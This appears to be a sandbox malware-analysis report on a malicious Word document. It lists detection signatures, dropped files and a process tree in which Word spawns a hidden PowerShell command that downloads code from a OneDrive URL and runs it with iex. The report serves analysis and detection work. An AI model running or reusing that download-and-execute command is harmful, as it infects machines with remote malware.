Analysis
- max time kernel
148s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
04/11/2026, 18:22
General
- Target 7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68.doc
- Size 70KB
- Sample261104-w1a56aec57
- SHA256 7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Documents\7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -exec bypass -w 1 -c (iwr 'https://onedrive.live.com/download?resid=59261C7E41B6478A%21215&authkey=!AILxsvzlZboP3io' -UseBasicParsing).Content | iex2⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
87EB0349.emf
gb.xsl
cabF9E7.tmp
cabF9E8.tmp
cabFA08.tmp
cabFA09.tmp
cabFA0A.tmp
cabFA0B.tmp
cabFA0C.tmp
cabFA0D.tmp
cabFA1F.tmp
cabFA21.tmp
cabFA22.tmp
cabFA23.tmp
cabFA8B.tmp
cabFA9D.tmp
index.dat
CUSTOM.DIC
CSP9XLCUZUDVBF5EI5ON.temp
D1OD3CTDLX1VOF6BD6U3.temp
memory/1324-8-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-214-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-31-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-61-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-215-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-30-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-79-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-80-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-15-0x00007FFADE220000-0x00007FFADE230000-memory.dmp
memory/1324-14-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-13-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-11-0x00007FFADE220000-0x00007FFADE230000-memory.dmp
memory/1324-211-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-12-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-0-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-10-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-9-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-3-0x00007FFB2073F000-0x00007FFB20740000-memory.dmp
memory/1324-6-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-1-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-4-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-5-0x00007FFB205E0000-0x00007FFB20843000-memory.dmp
memory/1324-2-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-7-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-213-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/1324-212-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp
memory/2336-54-0x0000021530E30000-0x0000021530E66000-memory.dmp
memory/2336-39-0x0000021530E00000-0x0000021530E22000-memory.dmp